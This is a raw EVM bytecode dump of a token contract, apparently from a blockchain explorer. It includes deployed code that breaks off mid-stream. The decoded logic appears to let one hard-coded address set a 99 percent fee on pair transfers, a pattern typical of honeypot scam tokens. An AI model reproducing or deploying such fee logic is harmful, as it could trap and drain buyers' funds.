40517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd890613385565b60405180910390fd5b600b5f9054906101000a900460ff1615612030576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612027906133ed565b60405180910390fd5b5f8214612072576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206990613455565b60405180910390fd5b606381146120b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ac906134bd565b60405180910390fd5b8160098190555080600a819055506001600b5f6101000a81548160ff0219169083151502179055506001600b60016101000a81548160ff0219169083151502179055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a182826040516121299291906134db565b60405180910390a15050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b33600b60029054906101000a900460ff16806121dc5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061220b5750600b5f9054906101000a900460ff1615801561220a5750600b60019054906101000a900460ff165b5b806122cc5750600b5f9054906101000a900460ff1680156122725750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156122cb575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80612330575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561232f57505f600a54145b5b61236f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236690613115565b60405180910390fd5b8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156123ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e69061354c565b60405180910390fd5b600b60019054906101000a900460ff16156127ef575f808390505f600a54118015612467575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b80156124ba5750600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156124ff576124e760646124d9600a5487612b9990919063ffffffff16565b612c1090919063ffffffff16565b91506124fc8285612c6790919063ffffffff16565b90505b61254f8460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506126018160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516126e19190612f02565b60405180910390a35f8211156127e8576127418260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127df9190612f02565b60405180910390a35b50506129da565b61283f8260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506128f18260045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516129d19190612f02565b60405180910390a35b5050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612a6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a64906132b5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612adb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ad2906135b4565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f808303612ba9575f9050612c0a565b5f8284612bb691906135ff565b9050828482612bc5919061366d565b14612c05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bfc9061370d565b60405180910390fd5b809150505b92915050565b5f808211612c53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c4a906137c1565b60405180910390fd5b8183612c5f919061366d565b905092915050565b5f82821115612cab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ca290613829565b60405180910390fd5b8183612cb79190613847565b905092915050565b5f808284612ccd919061387a565b905083811015612d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d099061391d565b60405180910390fd5b8091505092915050565b5f80fd5b5f819050919050565b612d3281612d20565b8114612d3c575f80fd5b50565b5f81359050612d4d81612d29565b92915050565b5f60208284031215612d6857612d67612d1c565b5b5f612d7584828501612d3f565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612db5578082015181840152602081019050612d9a565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612dda82612d7e565b612de48185612d88565b9350612df4818560208601612d98565b612dfd81612dc0565b840191505092915050565b5f6020820190508181035f830152612e208184612dd0565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612e5182612e28565b9050919050565b612e6181612e47565b8114612e6b575f80fd5b50565b5f81359050612e7c81612e58565b92915050565b5f8060408385031215612e9857612e97612d1c565b5b5f612ea585828601612e6e565b9250506020612eb685828601612d3f565b9150509250929050565b5f8115159050919050565b612ed481612ec0565b82525050565b5f602082019050612eed5f830184612ecb565b92915050565b612efc81612d20565b82525050565b5f602082019050612f155f830184612ef3565b92915050565b5f805f60608486031215612f3257612f31612d1c565b5b5f612f3f86828701612e6e565b9350506020612f5086828701612e6e565b9250506040612f6186828701612d3f565b9150509250925092565b5f60ff82169050919050565b612f8081612f6b565b82525050565b5f602082019050612f995f830184612f77565b92915050565b5f60208284031215612fb457612fb3612d1c565b5b5f612fc184828501612e6e565b91505092915050565b612fd381612e47565b82525050565b5f602082019050612fec5f830184612fca565b92915050565b5f806040838503121561300857613007612d1c565b5b5f61301585828601612d3f565b925050602061302685828601612d3f565b9150509250929050565b5f806040838503121561304657613045612d1c565b5b5f61305385828601612e6e565b925050602061306485828601612e6e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806130b257607f821691505b6020821081036130c5576130c461306e565b5b50919050565b7f314e6163686f466965737461546f6e69676874000000000000000000000000005f82015250565b5f6130ff601383612d88565b915061310a826130cb565b602082019050919050565b5f6020820190508181035f83015261312c816130f3565b9050919050565b7f334e6163686f466965737461546f6e69676874000000000000000000000000005f82015250565b5f613167601383612d88565b915061317282613133565b602082019050919050565b5f6020820190508181035f8301526131948161315b565b9050919050565b7f344e6163686f466965737461546f6e69676874000000000000000000000000005f82015250565b5f6131cf601383612d88565b91506131da8261319b565b602082019050919050565b5f6020820190508181035f8301526131fc816131c3565b9050919050565b7f354e6163686f466965737461546f6e69676874000000000000000000000000005f82015250565b5f613237601383612d88565b915061324282613203565b602082019050919050565b5f6020820190508181035f8301526132648161322b565b9050919050565b7f324e6163686f466965737461546f6e69676874000000000000000000000000005f82015250565b5f61329f601383612d88565b91506132aa8261326b565b602082019050919050565b5f6020820190508181035f8301526132cc81613293565b9050919050565b7f31314e6163686f466965737461546f6e696768740000000000000000000000005f82015250565b5f613307601483612d88565b9150613312826132d3565b602082019050919050565b5f6020820190508181035f830152613334816132fb565b9050919050565b7f374e6163686f466965737461546f6e69676874000000000000000000000000005f82015250565b5f61336f601383612d88565b915061337a8261333b565b602082019050919050565b5f6020820190508181035f83015261339c81613363565b9050919050565b7f384e6163686f466965737461546f6e69676874000000000000000000000000005f82015250565b5f6133d7601383612d88565b91506133e2826133a3565b602082019050919050565b5f6020820190508181035f830152613404816133cb565b9050919050565b7f394e6163686f466965737461546f6e69676874000000000000000000000000005f82015250565b5f61343f601383612d88565b915061344a8261340b565b602082019050919050565b5f6020820190508181035f83015261346c81613433565b9050919050565b7f304e6163686f466965737461546f6e69676874000000000000000000000000005f82015250565b5f6134a7601383612d88565b91506134b282613473565b602082019050919050565b5f6020820190508181035f8301526134d48161349b565b9050919050565b5f6040820190506134ee5f830185612ef3565b6134fb6020830184612ef3565b9392505050565b7f31324e6163686f466965737461546f6e696768740000000000000000000000005f82015250565b5f613536601483612d88565b915061354182613502565b602082019050919050565b5f6020820190508181035f8301526135638161352a565b9050919050565b7f364e6163686f466965737461546f6e69676874000000000000000000000000005f82015250565b5f61359e601383612d88565b91506135a98261356a565b602082019050919050565b5f6020820190508181035f8301526135cb81613592565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61360982612d20565b915061361483612d20565b925082820261362281612d20565b91508282048414831517613639576136386135d2565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61367782612d20565b915061368283612d20565b92508261369257613691613640565b5b828204905092915050565b7f4e6163686f466965737461546f6e696768744e6163686f466965737461546f6e5f8201527f696768744e6163686f466965737461546f6e6967687400000000000000000000602082015250565b5f6136f7603683612d88565b91506137028261369d565b604082019050919050565b5f6020820190508181035f830152613724816136eb565b9050919050565b7f4e6163686f466965737461546f6e696768744e6163686f466965737461546f6e5f8201527f696768744e6163686f466965737461546f6e696768744e6163686f466965737460208201527f61546f6e69676874000000000000000000000000000000000000000000000000604082015250565b5f6137ab604883612d88565b91506137b68261372b565b606082019050919050565b5f6020820190508181035f8301526137d88161379f565b9050919050565b7f4e6163686f466965737461546f6e6967687400000000000000000000000000005f82015250565b5f613813601283612d88565b915061381e826137df565b602082019050919050565b5f6020820190508181035f83015261384081613807565b9050919050565b5f61385182612d20565b915061385c83612d20565b9250828203905081811115613874576138736135d2565b5b92915050565b5f61388482612d20565b915061388f83612d20565b92508282019050808211156138a7576138a66135d2565b5b92915050565b7f4e6163686f466965737461546f6e696768744e6163686f466965737461546f6e5f8201527f6967687400000000000000000000000000000000000000000000000000000000602082015250565b5f613907602483612d88565b9150613912826138ad565b604082019050919050565b5f6020820190508181035f830152613934816138fb565b905091905056fea2646970667358221220a89eed4f763507c779ac747cc367846c417950d6c120c4e3674d72bf08e3b44864736f6c63430008150033000000000000000000000000844d32fdbe57fe5c9e9f756d6607c23f083d2f550000000000000000000000000000000000000000033b2e3c9fd0803ce7ffffff
Deployed Bytecode
0x60806040526004361061014a575f3560e01c806370a08231116100b5578063a9059cbb1161006e578063a9059cbb14610454578063b390c0ab14610490578063c31c9c07146104b8578063dd62ed3e146104e2578063e4849b321461051e578063f2fde38b146105465761014a565b806370a082311461037a578063715018a6146103b65780638da5cb5b146103cc57806395d89b41146103f6578063a64e4f8a14610420578063a6f2ae3a1461044a5761014a565b80632b14ca56116101075780632b14ca561461026c578063313ce567146102965780633f4218e0146102c057806347062402146102fc57806347b5dd541461032657806364bcf5f4146103505761014a565b8063036978631461014e57806306fdde0314610176578063095ea7b3146101a057806318160ddd146101dc57806323b872dd1461020657806325e0e4d014610242575b5f80fd5b348015610159575f80fd5b50610174600480360381019061016f9190612d53565b61056e565b005b348015610181575f80fd5b5061018a6105bf565b6040516101979190612e08565b60405180910390f35b3480156101ab575f80fd5b506101c660048036038101906101c19190612e82565b61064a565b6040516101d39190612eda565b60405180910390f35b3480156101e7575f80fd5b506101f0610737565b6040516101fd9190612f02565b60405180910390f35b348015610211575f80fd5b5061022c60048036038101906102279190612f1b565b61073d565b6040516102399190612eda565b60405180910390f35b34801561024d575f80fd5b50610256611289565b6040516102639190612eda565b60405180910390f35b348015610277575f80fd5b5061028061129b565b60405161028d9190612f02565b60405180910390f35b3480156102a1575f80fd5b506102aa6112a1565b6040516102b79190612f86565b60405180910390f35b3480156102cb575f80fd5b506102e660048036038101906102e19190612f9f565b6112b3565b6040516102f39190612eda565b60405180910390f35b348015610307575f80fd5b506103106112d0565b60405161031d9190612f02565b60405180910390f35b348015610331575f80fd5b5061033a6112d6565b6040516103479190612f02565b60405180910390f35b34801561035b575f80fd5b506103646112dc565b6040516103719190612eda565b60405180910390f35b348015610385575f80fd5b506103a0600480360381019061039b9190612f9f565b6112ef565b6040516103ad9190612f02565b60405180910390f35b3480156103c1575f80fd5b506103ca611304565b005b3480156103d7575f80fd5b506103e0611450565b6040516103ed9190612fd9565b60405180910390f35b348015610401575f80fd5b5061040a611475565b6040516104179190612e08565b60405180910390f35b34801561042b575f80fd5b50610434611501565b6040516104419190612eda565b60405180910390f35b610452611514565b005b34801561045f575f80fd5b5061047a60048036038101906104759190612e82565b611b57565b6040516104879190612eda565b60405180910390f35b34801561049b575f80fd5b506104b660048036038101906104b19190612ff2565b611f5f565b005b3480156104c3575f80fd5b506104cc612135565b6040516104d99190612fd9565b60405180910390f35b3480156104ed575f80fd5b5061050860048036038101906105039190613030565b61215a565b6040516105159190612f02565b60405180910390f35b348015610529575f80fd5b50610544600480360381019061053f9190612d53565b61217a565b005b348015610551575f80fd5b5061056c60048036038101906105679190612f9f565b6129de565b005b3373ffffffffffffffffffffffffffffffffffffffff167fb6e8f04cf03b5aef7f64b05be34717ced7ad18d9e25d848dcd9542d070ce2ddb826040516105b49190612f02565b60405180910390a250565b5f80546105cb9061309b565b80601f01602080910402602001604051908101604052809291908181526020018280546105f79061309b565b80156106425780601f1061061957610100808354040283529160200191610642565b820191905f5260205f20905b81548152906001019060200180831161062557829003601f168201915b505050505081565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516107259190612f02565b60405180910390a36001905092915050565b60025481565b5f83600b60029054906101000a900460ff16806107a05750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806107cf5750600b5f9054906101000a900460ff161580156107ce5750600b60019054906101000a900460ff165b5b806108905750600b5f9054906101000a900460ff1680156108365750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561088f575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806108f4575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156108f357505f600a54145b5b610933576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092a90613115565b60405180910390fd5b8260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156109b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109aa9061317d565b60405180910390fd5b8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610a6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a65906131e5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad39061324d565b60405180910390fd5b5f80849050600b60019054906101000a900460ff168015610afe57505f600a54115b8015610b57575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b8015610baa5750600c5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610bef57610bd76064610bc9600a5488612b9990919063ffffffff16565b612c1090919063ffffffff16565b9150610bec8286612c6790919063ffffffff16565b90505b610c3f8560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610cd08160045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d6e9190612f02565b60405180910390a35f821115610fbd575f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f90508073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603610ec457610e198360045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610eb79190612f02565b60405180910390a3610fbb565b610f148360045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fb29190612f02565b60405180910390a35b505b3373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415801561109157507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414155b1561127b576111218560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516112729190612f02565b60405180910390a35b600193505050509392505050565b600b5f9054906101000a900460ff1681565b600a5481565b60035f9054906101000a900460ff1681565b600c602052805f5260405f205f915054906101000a900460ff1681565b60095481565b60085481565b600b60029054906101000a900460ff1681565b6004602052805f5260405f205f915090505481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611393576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138a906132b5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600180546114829061309b565b80601f01602080910402602001604051908101604052809291908181526020018280546114ae9061309b565b80156114f95780601f106114d0576101008083540402835291602001916114f9565b820191905f5260205f20905b8154815290600101906020018083116114dc57829003601f168201915b505050505081565b600b60019054906101000a900460ff1681565b33600b60029054906101000a900460ff16806115765750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806115a55750600b5f9054906101000a900460ff161580156115a45750600b60019054906101000a900460ff165b5b806116665750600b5f9054906101000a900460ff16801561160c5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611665575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806116ca575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156116c957505f600a54145b5b611709576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170090613115565b60405180910390fd5b5f341161174b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117429061331d565b60405180910390fd5b5f3490505f60095411156119f9575f611782606461177460095485612b9990919063ffffffff16565b612c1090919063ffffffff16565b90505f6117988284612c6790919063ffffffff16565b905061180b8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118eb9190612f02565b60405180910390a35f8211156119f25761194b8260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119e99190612f02565b60405180910390a35b5050611b53565b611a6a8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b4a9190612f02565b60405180910390a35b5050565b5f33600b60029054906101000a900460ff1680611bba5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611be95750600b5f9054906101000a900460ff16158015611be85750600b60019054906101000a900460ff165b5b80611caa5750600b5f9054906101000a900460ff168015611c505750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611ca9575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80611d0e575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015611d0d57505f600a54145b5b611d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4490613115565b60405180910390fd5b8260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015611d96575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611dcd575f80fd5b611e1d8360045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611eae8360045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f4c9190612f02565b60405180910390a3600191505092915050565b73844d32fdbe57fe5c9e9f756d6607c23f083d2f5573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd890613385565b60405180910390fd5b600b5f9054906101000a900460ff1615612030576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612027906133ed565b60405180910390fd5b5f8214612072576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206990613455565b60405180910390fd5b606381146120b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ac906134bd565b60405180910390fd5b8160098190555080600a819055506001600b5f6101000a81548160ff0219169083151502179055506001600b60016101000a81548160ff0219169083151502179055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a182826040516121299291906134db565b60405180910390a15050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b33600b60029054906101000a900460ff16806121dc5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061220b5750600b5f9054906101000a900460ff1615801561220a5750600b60019054906101000a900460ff165b5b806122cc5750600b5f9054906101000a900460ff1680156122725750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156122cb575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80612330575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561232f57505f600a54145b5b61236f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236690613115565b60405180910390fd5b8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602